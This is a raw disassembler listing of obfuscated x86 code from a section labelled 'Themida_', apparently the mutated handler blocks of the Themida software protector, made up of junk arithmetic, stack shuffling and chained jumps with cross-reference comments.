loc_5A331E: ; CODE XREF: Themida_:0059D5A9j
mov ebp, ecx
push ebp
add dword ptr [esp], 7E6D1C11h
pop esi
jmp loc_59A850
; ---------------------------------------------------------------------------
loc_5A332E: ; CODE XREF: Themida_:loc_5AA2BFj
jmp loc_59B0D5
; ---------------------------------------------------------------------------
loc_5A3333: ; CODE XREF: Themida_:loc_5AAF7Dj
push ebp
jmp loc_59F2C3
; ---------------------------------------------------------------------------
loc_5A3339: ; CODE XREF: Themida_:005A6782j
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], edi
pop ecx
mov edi, [esp]
jmp loc_5A2702
; ---------------------------------------------------------------------------
loc_5A334A: ; CODE XREF: Themida_:0059A8D3j
pop esp
jmp loc_5A46D9
; ---------------------------------------------------------------------------
loc_5A3350: ; CODE XREF: Themida_:005AF4AFj
mov [esp], eax
xchg edx, [esp]
not edx
xchg edx, [esp]
jmp loc_598A03
; ---------------------------------------------------------------------------
loc_5A3360: ; CODE XREF: Themida_:00599B62j
or dl, 0D5h
jmp loc_59DFEB
; ---------------------------------------------------------------------------
loc_5A3368: ; CODE XREF: Themida_:005A323Cj
neg edx
js loc_5A7D65
push esi
jmp loc_59C394
; ---------------------------------------------------------------------------
inc bl
push edx
mov bl, 28h
loc_5A337B: ; CODE XREF: Themida_:0059AA54j
pop eax
push ebx
mov bl, cl
jmp loc_5A7823
; ---------------------------------------------------------------------------
loc_5A3384: ; CODE XREF: Themida_:005A30DEj
jmp loc_5AEDC3
; ---------------------------------------------------------------------------
loc_5A3389: ; CODE XREF: Themida_:005AB8FEj
sub edx, 7F3B5307h
pop ebx
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_59CAD1
; ---------------------------------------------------------------------------
loc_5A339E: ; CODE XREF: Themida_:005A14C3j
pop eax
jmp loc_59AC8D
; ---------------------------------------------------------------------------
loc_5A33A4: ; CODE XREF: Themida_:005AA2BAj
add eax, 27857977h
push esi
jmp loc_59B9E6
; ---------------------------------------------------------------------------
loc_5A33AF: ; CODE XREF: Themida_:0059928Fj
; Themida_:005A3812j
sub dword ptr [esp+4], 461A4895h
pop ebp
push dword ptr [esp]
jmp loc_5A08EA
; ---------------------------------------------------------------------------
loc_5A33C0: ; CODE XREF: Themida_:005A89CDj
or esi, 4C617736h
jno loc_59FCC5
jmp loc_5A71A8
; ---------------------------------------------------------------------------
add esi, 719C3375h
or edx, esi
pop esi
loc_5A33DA: ; CODE XREF: Themida_:005A35AAj
push dword ptr [esp]
pop edx
push 54DDh
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
push 1430h
jmp loc_59C0EE
; ---------------------------------------------------------------------------
loc_5A33FE: ; CODE XREF: Themida_:005A58DDj
shl eax, 4
or eax, 767D038Ch
sub eax, 0CDB0AD3Bh
add edi, eax
pop eax
and edi, 2B153861h
push ebx
mov ebx, 64282097h
or edi, ebx
pop ebx
jmp loc_59A0A8
; ---------------------------------------------------------------------------
loc_5A3422: ; CODE XREF: Themida_:005A5459j
add esp, 4
jmp loc_59B8A7
; ---------------------------------------------------------------------------
loc_5A342D: ; CODE XREF: Themida_:005A78C7j
; Themida_:005ACF4Aj
mov esi, 464401A3h
shl esi, 1
jmp loc_5A6C2C
; ---------------------------------------------------------------------------
loc_5A3439: ; CODE XREF: Themida_:005AD203j
pop eax
inc di
jmp loc_59B724
; ---------------------------------------------------------------------------
loc_5A3441: ; CODE XREF: Themida_:0059CC39j
pop edx
sub bl, cl
pop cx
movzx eax, al
push dword ptr [edi+eax*4]
sub esp, 4
mov [esp], eax
mov eax, 39B87E04h
add eax, 0FFFFFFFFh
inc eax
jno loc_599E3F
push 57CEh
mov [esp], edx
sub esp, 4
push esp
loc_5A3470: ; CODE XREF: Themida_:005A5A55j
pop edi
mov ecx, [esp]
add esp, 4
mov edx, ebp
push dword ptr [esp]
pop ebp
push esi
push esp
pop esi
jmp loc_5AA7A2
; ---------------------------------------------------------------------------
loc_5A3488: ; CODE XREF: Themida_:0059E147j
xor ebx, edi
xor edi, ebx
inc edi
add edi, 3ABC7A69h
add edi, 99846BECh
add edx, edi
jmp loc_59CD80
; ---------------------------------------------------------------------------
loc_5A34A0: ; CODE XREF: Themida_:005A00CBj
; Themida_:005A7484j
add ebx, 26E71BEBh
push 7352h
jmp loc_59BFD2
; ---------------------------------------------------------------------------
loc_5A34B0: ; CODE XREF: Themida_:005A5B26j
push 1572h
mov [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5A13AB
; ---------------------------------------------------------------------------
loc_5A34CF: ; CODE XREF: Themida_:0059B229j
add ecx, edi
pop edi
push ebp
push ebx
mov ebx, 4
mov ebp, ebx
pop ebx
add ecx, ebp
pop ebp
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
add [esp], eax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A34F4: ; CODE XREF: Themida_:005A8FFCj
jmp loc_59DE47
; ---------------------------------------------------------------------------
loc_5A34F9: ; CODE XREF: Themida_:loc_5A3CECj
jmp loc_5A715D
; ---------------------------------------------------------------------------
loc_5A34FE: ; CODE XREF: Themida_:0059C737j
pop esp
shr word ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
mov cx, [esp]
push 7255h
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
push 7CDh
jmp loc_5AB105
; ---------------------------------------------------------------------------
loc_5A3526: ; CODE XREF: Themida_:0059D377j
pop ecx
add esp, 4
mov ch, dh
jmp loc_5A908E
; ---------------------------------------------------------------------------
loc_5A3531: ; CODE XREF: Themida_:0059CEFAj
xchg edx, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5AA808
; ---------------------------------------------------------------------------
loc_5A3544: ; CODE XREF: Themida_:005A0DB3j
pop ecx
push 224Dh
mov [esp], eax
jmp loc_59A02C
; ---------------------------------------------------------------------------
loc_5A3552: ; CODE XREF: Themida_:0059ED43j
sub esp, 4
mov [esp], esi
mov esi, 554D5442h
jmp loc_5AD7A2
; ---------------------------------------------------------------------------
loc_5A3562: ; CODE XREF: Themida_:0059DBA9j
mov ebp, 0EAFD65EEh
sub esi, ebp
pop ebp
push esi
push edx
mov edx, 0F9B7999h
xor [esp+4], edx
pop edx
jmp loc_5A4929
; ---------------------------------------------------------------------------
loc_5A357B: ; CODE XREF: Themida_:005A7F09j
and edx, ecx
pop ecx
sub edx, 0F4D3FF1Bh
sub eax, 1A987041h
add eax, edx
add eax, 1A987041h
jmp loc_5A4350
; ---------------------------------------------------------------------------
loc_5A3595: ; CODE XREF: Themida_:005A05EFj
and ecx, eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_598C42
; ---------------------------------------------------------------------------
loc_5A35A8: ; CODE XREF: Themida_:005A3D51j
xor eax, edx
jmp loc_5A33DA
; ---------------------------------------------------------------------------
loc_5A35AF: ; CODE XREF: Themida_:00599C52j
mov edi, [esp]
add esp, 4
push ecx
push ebx
mov ebx, 1C136338h
shr ebx, 7
jmp loc_5ABB5A
; ---------------------------------------------------------------------------
loc_5A35C7: ; CODE XREF: Themida_:005A9608j
push dword ptr [esp]
pop eax
push ecx
jmp loc_5AF459
; ---------------------------------------------------------------------------
loc_5A35D1: ; CODE XREF: Themida_:005AB08Dj
push ebx
jmp loc_5ACAF3
; ---------------------------------------------------------------------------
loc_5A35D7: ; CODE XREF: Themida_:0059C1B9j
mov [esp], esi
jmp loc_5AEDD2
; ---------------------------------------------------------------------------
loc_5A35DF: ; CODE XREF: Themida_:005AF3ECj
pop esi
sub eax, 1EBE1C6Bh
sub ebx, eax
pop eax
add ebx, edi
add ebx, 49795193h
jmp loc_59C0F6
; ---------------------------------------------------------------------------
loc_5A35F5: ; CODE XREF: Themida_:0059C686j
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
and ebx, ecx
pop ecx
jmp loc_59D3EE
; ---------------------------------------------------------------------------
loc_5A360F: ; CODE XREF: Themida_:005AD315j
add esp, 4
add ecx, ebx
mov ebx, [esp]
add esp, 4
pop ebp
jmp loc_59B31C
; ---------------------------------------------------------------------------
loc_5A3620: ; CODE XREF: Themida_:005A61CFj
pop edx
jmp loc_5ADD25
; ---------------------------------------------------------------------------
loc_5A3626: ; CODE XREF: Themida_:0059D5CCj
xor ebp, 7ECE04FCh
mov ecx, ebp
mov ebp, [esp]
jmp loc_5985E2
; ---------------------------------------------------------------------------
loc_5A3636: ; CODE XREF: Themida_:005A51E8j
sub edi, 48DC7EE8h
mov ebx, edi
jmp loc_59FA34
; ---------------------------------------------------------------------------
loc_5A3643: ; CODE XREF: Themida_:005A9CF0j
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_5AB232
; ---------------------------------------------------------------------------
loc_5A3653: ; CODE XREF: Themida_:005A6080j
sub eax, ebp
pop ebp
pop ebx
sub esi, 342E3272h
add esi, eax
push eax
jmp loc_5AA062
; ---------------------------------------------------------------------------
loc_5A3665: ; CODE XREF: Themida_:0059ECFFj
sub esi, ecx
mov ecx, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
jmp loc_5AE731
; ---------------------------------------------------------------------------
loc_5A367E: ; CODE XREF: Themida_:0059F9DEj
push eax
jmp loc_59B53A
; ---------------------------------------------------------------------------
loc_5A3684: ; CODE XREF: Themida_:005A52CCj
neg ebp
jg loc_5A7F0E
jmp loc_59DA6E
; ---------------------------------------------------------------------------
sub eax, 78C43B9Bh
push ebx
loc_5A3697: ; CODE XREF: Themida_:loc_5AB1C0j
dec ebx
jns loc_5A05F4
jmp loc_59A04E
; ---------------------------------------------------------------------------
pop edx
push esi
push esp
pop esi
mov ch, dh
pop esi
loc_5A36AA: ; CODE XREF: Themida_:0059FF01j
; Themida_:loc_5A56C6j
push eax
mov eax, 7C1619CEh
shr eax, 4
and eax, 6D3802BFh
add eax, 6CB3289h
xor ebp, eax
pop eax
or ecx, ebp
mov ebp, [esp]
jmp loc_59F685
; ---------------------------------------------------------------------------
loc_5A36CA: ; CODE XREF: Themida_:0059DA4Bj
sub edx, 0FFFFFFFFh
shr edx, 7
push ebp
mov ebp, 0FFFFFFFFh
sub edx, ebp
pop ebp
add edx, 0FFA0115Bh
push edx
mov edx, 61B72582h
xor edx, 6A31754h
add eax, edx
jmp loc_5A9E89
; ---------------------------------------------------------------------------
loc_5A36F2: ; CODE XREF: Themida_:00598D03j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A36F7: ; CODE XREF: Themida_:005A9F65j
push ecx
push ebx
jmp loc_59F787
; ---------------------------------------------------------------------------
loc_5A36FE: ; CODE XREF: Themida_:005A127Aj
; Themida_:005A4D90j
push 29A9h
mov [esp], ebx
push dword ptr [esp]
pop ebx
push eax
push 5A78h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop eax
jmp loc_5A67EF
; ---------------------------------------------------------------------------
loc_5A3724: ; CODE XREF: Themida_:005A58A8j
sub edi, 13CDFDA0h
mov esi, edi
pop edi
sub esp, 4
mov [esp], edx
push 37332E0h
pop edx
inc edx
shl edx, 7
push ebx
mov ebx, 7398E883h
xor edx, ebx
pop ebx
jmp loc_5A200C
; ---------------------------------------------------------------------------
loc_5A374E: ; CODE XREF: Themida_:005A6A81j
add edi, 4
push ecx
jmp loc_5A1116
; ---------------------------------------------------------------------------
loc_5A375A: ; CODE XREF: Themida_:005A3F5Bj
mov edi, esp
add edi, 4
push edx
jmp loc_5A1CE1
; ---------------------------------------------------------------------------
loc_5A3768: ; CODE XREF: Themida_:0059AEBDj
and eax, 463B0F7Ah
xor eax, 30766DC6h
sub edi, eax
pop eax
add edi, ecx
add edi, 707E6B8Ch
push dword ptr [esp]
jmp loc_5A9A9C
; ---------------------------------------------------------------------------
loc_5A3785: ; CODE XREF: Themida_:0059AF1Ej
add al, 0A1h
push small 4CCBh
jmp loc_59F8D4
; ---------------------------------------------------------------------------
loc_5A3790: ; CODE XREF: Themida_:005A783Bj
sub esi, 4
xchg esi, [esp]
jmp loc_599A28
; ---------------------------------------------------------------------------
loc_5A379B: ; CODE XREF: Themida_:005AE6DEj
push esi
push eax
mov eax, 5C42010h
mov esi, 73F21975h
jmp loc_598A8D
; ---------------------------------------------------------------------------
loc_5A37AC: ; CODE XREF: Themida_:0059B7DFj
mov esp, [esp]
jmp loc_5A5A73
; ---------------------------------------------------------------------------
loc_5A37B4: ; CODE XREF: Themida_:005A822Ej
sub esp, 4
jmp loc_5AE218
; ---------------------------------------------------------------------------
loc_5A37BF: ; CODE XREF: Themida_:005ADD50j
add esp, 4
shr esi, 6
push ecx
mov ecx, 31D37857h
shl ecx, 6
neg ecx
jmp loc_5995DF
; ---------------------------------------------------------------------------
loc_5A37D8: ; CODE XREF: Themida_:0059DB9Ej
or dh, al
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push ebx
mov bl, 0F8h
dec bl
shl bl, 7
dec bl
jmp loc_5A93FE
; ---------------------------------------------------------------------------
loc_5A37F8: ; CODE XREF: Themida_:005A5CD8j
add dword ptr [esp], 1B531D13h
push edi
mov edi, 7B381C15h
jmp loc_5AD2D5
; ---------------------------------------------------------------------------
loc_5A380A: ; CODE XREF: Themida_:0059EB39j
sub eax, 7324145Eh
shr eax, 6
jmp loc_5A33AF
; ---------------------------------------------------------------------------
loc_5A3817: ; CODE XREF: Themida_:005A4649j
push 546E1FEEh
mov ecx, [esp]
add esp, 4
push ecx
not dword ptr [esp]
pop ecx
sub ecx, 3B1FC3ECh
jmp loc_5A2AAE
; ---------------------------------------------------------------------------
loc_5A3835: ; CODE XREF: Themida_:0059BF33j
; Themida_:005A48B5j
mov eax, 30C27975h
add eax, 3F000540h
sub eax, 6BD2712Bh
jmp loc_5AD9F7
; ---------------------------------------------------------------------------
loc_5A3849: ; CODE XREF: Themida_:0059DDCBj
sub eax, edi
jmp loc_5AB67B
; ---------------------------------------------------------------------------
loc_5A3850: ; CODE XREF: Themida_:00599609j
pop edi
pop ecx
jmp loc_5A6B16
; ---------------------------------------------------------------------------
loc_5A3857: ; CODE XREF: Themida_:0059A656j
add eax, edx
add eax, 1C0F4906h
pop edx
add ebx, 54A66399h
jmp loc_5AC4D2
; ---------------------------------------------------------------------------
loc_5A386A: ; CODE XREF: Themida_:005AD681j
pop eax
add esp, 4
push edx
mov edx, 4
jmp loc_5A2765
; ---------------------------------------------------------------------------
loc_5A3879: ; CODE XREF: Themida_:005AC120j
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A6868
; ---------------------------------------------------------------------------
loc_5A388E: ; CODE XREF: Themida_:005AEEC0j
mov ecx, ebx
mov ebx, [esp]
add esp, 4
push 6F6h
mov [esp], ecx
mov edx, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
pop edi
mov ecx, [esp]
add esp, 4
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A38BF: ; CODE XREF: Themida_:0059D003j
xor ebx, 65009F4h
and eax, ebx
jmp loc_59C219
; ---------------------------------------------------------------------------
loc_5A38CC: ; CODE XREF: Themida_:0059C0E9j
mov [esp], eax
push edx
jmp loc_5A41CF
; ---------------------------------------------------------------------------
loc_5A38D5: ; CODE XREF: Themida_:005A7B53j
push 38DDh
mov [esp], ecx
push 7A81h
jmp loc_5ADCD8
; ---------------------------------------------------------------------------
loc_5A38E7: ; CODE XREF: Themida_:0059B696j
pop esi
add eax, 4
push eax
push dword ptr [esp+4]
jmp loc_5A6157
; ---------------------------------------------------------------------------
loc_5A38F7: ; CODE XREF: Themida_:0059FAD0j
sub bl, 88h
add bl, al
add bl, 88h
sub esp, 4
mov [esp], edx
jmp loc_5A2BA3
; ---------------------------------------------------------------------------
loc_5A390A: ; CODE XREF: Themida_:005ACBB9j
shr eax, 18h
jmp loc_5A6BA4
; ---------------------------------------------------------------------------
loc_5A3912: ; CODE XREF: Themida_:005A6F68j
; Themida_:005A8137j
push 6C0818D8h
jmp loc_5A833D
; ---------------------------------------------------------------------------
loc_5A391C: ; CODE XREF: Themida_:00599547j
push ecx
mov ch, 0C3h
mov bl, 0Fh
sub bl, ch
pop ecx
shl bl, 2
sub esp, 2
mov [esp], bx
inc byte ptr [esp]
pop bx
and bl, 0B1h
not bl
sub bl, 73h
add al, 76h
sub al, bl
jmp loc_5AD5B3
; ---------------------------------------------------------------------------
loc_5A3947: ; CODE XREF: Themida_:005A64CAj
; Themida_:005AED79j
pop esp
pop dword ptr [esp]
jmp loc_5A2184
; ---------------------------------------------------------------------------
loc_5A3950: ; CODE XREF: Themida_:005A812Ej
shl ebx, 5
jmp loc_599D59
; ---------------------------------------------------------------------------
loc_5A3958: ; CODE XREF: Themida_:0059C091j
push ebp
push ecx
mov ecx, 2B063D38h
mov ebp, ecx
jmp loc_5A8C19
; ---------------------------------------------------------------------------
loc_5A3966: ; CODE XREF: Themida_:005993D5j
add edi, 4
push eax
mov eax, 4
add edi, eax
jmp loc_5A47CA
; ---------------------------------------------------------------------------
mov ax, [esp]
push 28F8h
mov [esp], esi
jmp loc_59D893
; ---------------------------------------------------------------------------
loc_5A398A: ; CODE XREF: Themida_:0059E87Bj
add ecx, 29471047h
pop edx
jmp loc_5A2ED3
; ---------------------------------------------------------------------------
loc_5A3996: ; CODE XREF: Themida_:005A654Bj
push ebp
jmp loc_59CDAD
; ---------------------------------------------------------------------------
loc_5A399C: ; CODE XREF: Themida_:0059BE58j
; Themida_:005A679Bj
pop edx
push dword ptr [esp]
pop ebx
push esi
push 51E3h
mov [esp], esp
jmp loc_5A1680
; ---------------------------------------------------------------------------
loc_5A39AF: ; CODE XREF: Themida_:005A79CEj
; Themida_:loc_5A914Dj
xor ecx, 2D50249Ch
jmp loc_5A5B7F
; ---------------------------------------------------------------------------
loc_5A39BA: ; CODE XREF: Themida_:005A6257j
mov ebx, 4
add edx, ebx
pop ebx
xchg edx, [esp]
mov esp, [esp]
jmp loc_5A8F9D
; ---------------------------------------------------------------------------
loc_5A39CD: ; CODE XREF: Themida_:005A8072j
push ebp
jmp loc_5AEBF8
; ---------------------------------------------------------------------------
loc_5A39D3: ; CODE XREF: Themida_:005A30D6j
mov ecx, 47870C74h
jmp loc_5A9CF5
; ---------------------------------------------------------------------------
loc_5A39DD: ; CODE XREF: Themida_:0059B859j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_5A0777
; ---------------------------------------------------------------------------
loc_5A39EB: ; CODE XREF: Themida_:005AA763j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A39F0: ; CODE XREF: Themida_:loc_5AA473j
or ah, 46h
ja loc_5AE837
jmp loc_5A4EB8
; ---------------------------------------------------------------------------
sub eax, 6EB4002Bh
mov cl, bh
loc_5A3A05: ; CODE XREF: Themida_:0059AB8Fj
; Themida_:005A6B53j
xor ecx, [esp]
pop esp
mov ecx, [esp]
add esp, 4
jmp loc_59D03B
; ---------------------------------------------------------------------------
loc_5A3A14: ; CODE XREF: Themida_:005A7CC1j
sub esp, 2
mov [esp], bx
push edx
mov dh, 4Bh
jmp loc_5AE4DE
; ---------------------------------------------------------------------------
loc_5A3A26: ; CODE XREF: Themida_:0059D942j
sub edx, 6FA40152h
jmp loc_5A78B0
; ---------------------------------------------------------------------------
loc_5A3A31: ; CODE XREF: Themida_:005AAEC8j
mov edx, [esp]
jmp loc_5A673C
; ---------------------------------------------------------------------------
loc_5A3A39: ; CODE XREF: Themida_:0059AA5Ej
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_5A9075
; ---------------------------------------------------------------------------
loc_5A3A49: ; CODE XREF: Themida_:005A4B84j
; Themida_:005A60F1j
neg ebx
sub ebx, 12201BABh
jbe loc_5A78A2
add ebx, 868D5FF1h
mov esi, ebx
pop ebx
mov edx, 4C6A443Ch
xor edx, esi
pop esi
add esi, 4E5649Bh
jmp loc_5A5EF0
; ---------------------------------------------------------------------------
loc_5A3A73: ; CODE XREF: Themida_:0059BC46j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A3A78: ; CODE XREF: Themida_:005AC52Bj
mov edi, ebx
pop ebx
add eax, edi
mov edi, [esp]
add esp, 4
jmp loc_59DF8C
; ---------------------------------------------------------------------------
loc_5A3A88: ; CODE XREF: Themida_:0059EF3Bj
add al, bl
jmp loc_5AA8EF
; ---------------------------------------------------------------------------
loc_5A3A8F: ; CODE XREF: Themida_:005A10FCj
push edx
mov dl, 0CCh
inc dl
and dl, 90h
add dl, 14h
add al, dl
pop edx
jmp loc_5AC2F9
; ---------------------------------------------------------------------------
loc_5A3AA2: ; CODE XREF: Themida_:005AD1BCj
mov ebx, 45AD1F6Eh
push edx
mov edx, 2CFC0154h
jmp loc_5AD886
; ---------------------------------------------------------------------------
loc_5A3AB2: ; CODE XREF: Themida_:005AA64Cj
push 4435h
mov [esp], ecx
push ebx
mov ebx, 3C0F4FF8h
mov ecx, 558B3A2Ah
xor ecx, ebx
pop ebx
sub ecx, 698475CEh
add eax, 100D2E6Dh
jmp loc_5A3CF7
; ---------------------------------------------------------------------------
loc_5A3AD8: ; CODE XREF: Themida_:005A6395j
mov ch, dh
mov bh, ch
pop ecx
pop edx
xor al, bh
mov bx, [esp]
push 45DDh
jmp loc_59ADEC
; ---------------------------------------------------------------------------
loc_5A3AEE: ; CODE XREF: Themida_:0059D083j
not ebx
xor ebx, 87C32A4h
jmp loc_59F510
; ---------------------------------------------------------------------------
loc_5A3AFB: ; CODE XREF: Themida_:005A695Dj
; Themida_:005A91AEj
pop ebx
jmp loc_5A0DC4
; ---------------------------------------------------------------------------
loc_5A3B01: ; CODE XREF: Themida_:005AB45Ej
add edi, edx
pop edx
xchg edi, [esp]
mov esp, [esp]
movzx ecx, ax
push 6F40h
mov [esp], ecx
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A3B1A: ; CODE XREF: Themida_:005A93F2j
mov bh, dh
pop edx
add bh, 0F4h
jmp loc_59D4F8
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_5AC8CC
; ---------------------------------------------------------------------------
loc_5A3B2D: ; CODE XREF: Themida_:0059A1D1j
mov ebp, 24F083CBh
sub eax, 1AA31A3h
sub eax, ebp
push 6376h
mov [esp], ebx
jmp loc_5A4C9D
; ---------------------------------------------------------------------------
loc_5A3B46: ; CODE XREF: Themida_:005A6B04j
push ecx
pop ebp
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5A6EAF
; ---------------------------------------------------------------------------
loc_5A3B56: ; CODE XREF: Themida_:0059852Fj
pop esp
jmp loc_5A669B
; ---------------------------------------------------------------------------
loc_5A3B5C: ; CODE XREF: Themida_:005A5F5Bj
; Themida_:005A81F3j
add edx, edi
jmp loc_59CDBF
; ---------------------------------------------------------------------------
loc_5A3B63: ; CODE XREF: Themida_:005A3E83j
mov bl, 5Ch
xor bl, 76h
sub dh, bl
pop ebx
add dh, 75h
sub dh, ah
sub dh, 75h
push ecx
mov ch, 21h
add ch, 5Fh
jmp loc_5A8721
; ---------------------------------------------------------------------------
loc_5A3B7E: ; CODE XREF: Themida_:005A41B8j
push dword ptr [esp]
pop ebx
add esp, 4
push edx
push eax
mov ah, 36h
push ebx
mov bl, 33h
sub bl, 0F5h
jmp loc_5A3E7F
; ---------------------------------------------------------------------------
loc_5A3B97: ; CODE XREF: Themida_:0059E9E4j
mov esi, 2988565Dh
push edi
mov edi, 2C22462Dh
add esi, edi
pop edi
shr esi, 8
jmp loc_5A2C66
; ---------------------------------------------------------------------------
loc_5A3BAD: ; CODE XREF: Themida_:005AC583j
mov [esp], edx
push ecx
mov cl, 59h
mov dh, cl
pop ecx
or dh, 93h
and dh, 90h
or dh, 0C9h
push bx
mov bh, 8Dh
sub dh, 0F5h
sub dh, bh
add dh, 0F5h
pop bx
jmp loc_599533
; ---------------------------------------------------------------------------
loc_5A3BD2: ; CODE XREF: Themida_:0059F4DFj
push 4418h
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_59E0FB
; ---------------------------------------------------------------------------
loc_5A3BE7: ; CODE XREF: Themida_:0059C1DAj
mov [esp], ebx
push eax
jmp loc_59F295
; ---------------------------------------------------------------------------
loc_5A3BF0: ; CODE XREF: Themida_:005A4EE4j
mov ch, 0A3h
sub ch, 21h
jmp loc_5ABB7C
; ---------------------------------------------------------------------------
loc_5A3BFA: ; CODE XREF: Themida_:005A164Dj
pop ecx
sub esp, 4
jmp loc_5AD349
; ---------------------------------------------------------------------------
loc_5A3C06: ; CODE XREF: Themida_:0059AAB2j
push esi
mov esi, 51B71960h
push ebp
mov ebp, 295A3063h
xor esi, ebp
jmp loc_59A74F
; ---------------------------------------------------------------------------
loc_5A3C19: ; CODE XREF: Themida_:0059C07Dj
pop ebx
add esi, ecx
add esi, 2F4D0AFBh
mov ecx, [esp]
push edi
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_5AC82C
; ---------------------------------------------------------------------------
loc_5A3C36: ; CODE XREF: Themida_:005A5A62j
mov ebp, 0FCC36F7h
shl ebp, 6
and ebp, 0E2954D0h
dec ebp
push eax
mov eax, 0B2191D2Dh
xor ebp, eax
pop eax
add eax, ebp
pop ebp
push eax
pop dword ptr [edi+20h]
pop eax
push 6FF6h
mov [esp], esi
push 234Ah
mov [esp], edi
push 127A02C1h
jmp loc_5A2A57
; ---------------------------------------------------------------------------
loc_5A3C70: ; CODE XREF: Themida_:005A0662j
; Themida_:005A4509j
and dh, 0F7h
push eax
mov al, 5Ch
xor al, 0A8h
jmp loc_5AEFDE
; ---------------------------------------------------------------------------
loc_5A3C7D: ; CODE XREF: Themida_:005AC0B1j
pop eax
sub esp, 4
jmp loc_5A94F5
; ---------------------------------------------------------------------------
loc_5A3C86: ; CODE XREF: Themida_:00599480j
add edx, 42EE2A19h
not edx
add edx, 7DBC6636h
sub eax, edx
pop edx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 383863BEh
jmp loc_5A0071
; ---------------------------------------------------------------------------
loc_5A3CB0: ; CODE XREF: Themida_:00598AC7j
add esp, 2
jmp loc_5A0E3E
; ---------------------------------------------------------------------------
loc_5A3CBB: ; CODE XREF: Themida_:005A6BE0j
xor [esp], edi
jmp loc_5A07DB
; ---------------------------------------------------------------------------
loc_5A3CC3: ; CODE XREF: Themida_:005A5319j
mov eax, [esp]
add esp, 4
jmp loc_59D311
; ---------------------------------------------------------------------------
loc_5A3CD1: ; CODE XREF: Themida_:0059F866j
dec edi
jl loc_5AF3DD
xor edi, ebx
jmp loc_5A9AEB
; ---------------------------------------------------------------------------
loc_5A3CDF: ; CODE XREF: Themida_:0059CCE0j
add eax, ecx
sub eax, 5D5E76FBh
pop ecx
jmp loc_59E676
; ---------------------------------------------------------------------------
loc_5A3CEC: ; CODE XREF: Themida_:005A1AA3j
jg loc_5A34F9
jmp loc_5A152D
; ---------------------------------------------------------------------------
loc_5A3CF7: ; CODE XREF: Themida_:005A3AD3j
add eax, ecx
sub eax, 100D2E6Dh
pop ecx
sub esp, 4
mov [esp], esi
push ebp
push 1FA014Ah
pop ebp
sub ebp, 1FA0148h
push ebp
pop esi
pop ebp
add eax, esi
jmp loc_599D48
; ---------------------------------------------------------------------------
loc_5A3D1C: ; CODE XREF: Themida_:005A6AF8j
sub esp, 4
jmp loc_5A6658
; ---------------------------------------------------------------------------
loc_5A3D27: ; CODE XREF: Themida_:005A1AF4j
push 47B7h
jmp loc_59ABDD
; ---------------------------------------------------------------------------
loc_5A3D31: ; CODE XREF: Themida_:005A849Dj
sub esp, 4
jmp loc_5AB6C4
; ---------------------------------------------------------------------------
loc_5A3D3C: ; CODE XREF: Themida_:0059850Bj
push edx
jmp loc_5A5866
; ---------------------------------------------------------------------------
loc_5A3D42: ; CODE XREF: Themida_:005A4A0Fj
pop ecx
sub esp, 4
mov [esp], edx
mov edx, 1FF9E23Fh
jmp loc_5A35A8
; ---------------------------------------------------------------------------
loc_5A3D56: ; CODE XREF: Themida_:0059BEC7j
; Themida_:0059F85Bj ...
pop ebx
sub edx, 62E73DEEh
sub ebx, edx
pop edx
sub ebx, 30F700BBh
and ebx, 265F3290h
push edi
mov edi, 220A208Ch
jmp loc_5983C3
; ---------------------------------------------------------------------------
loc_5A3D77: ; CODE XREF: Themida_:005A2119j
xor ebp, [esp]
xor [esp], ebp
jmp loc_599D51
; ---------------------------------------------------------------------------
loc_5A3D82: ; CODE XREF: Themida_:005A6B1Aj
add ebx, 0F5A70B16h
push edi
mov edi, ebx
mov eax, edi
jmp loc_5A991F
; ---------------------------------------------------------------------------
loc_5A3D92: ; CODE XREF: Themida_:005ABC0Cj
add eax, 42955775h
mov ebp, eax
jmp loc_59EC9C
; ---------------------------------------------------------------------------
loc_5A3D9E: ; CODE XREF: Themida_:005A46F2j
mov ecx, [esp]
add esp, 4
shl ecx, 1
jmp loc_5A9C90
; ---------------------------------------------------------------------------
loc_5A3DAE: ; CODE XREF: Themida_:005A2E0Fj
add esp, 4
xchg eax, [esp]
mov esp, [esp]
sar byte ptr [esp], cl
pushf
jmp loc_5ACD3E
; ---------------------------------------------------------------------------
loc_5A3DC0: ; CODE XREF: Themida_:005AB21Fj
mov ecx, esp
jmp loc_5A830D
; ---------------------------------------------------------------------------
loc_5A3DC7: ; CODE XREF: Themida_:0059FF67j
pop eax
add esp, 4
push 7E88h
mov [esp], ebp
push 0CC5h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
jmp loc_5A6A92
; ---------------------------------------------------------------------------
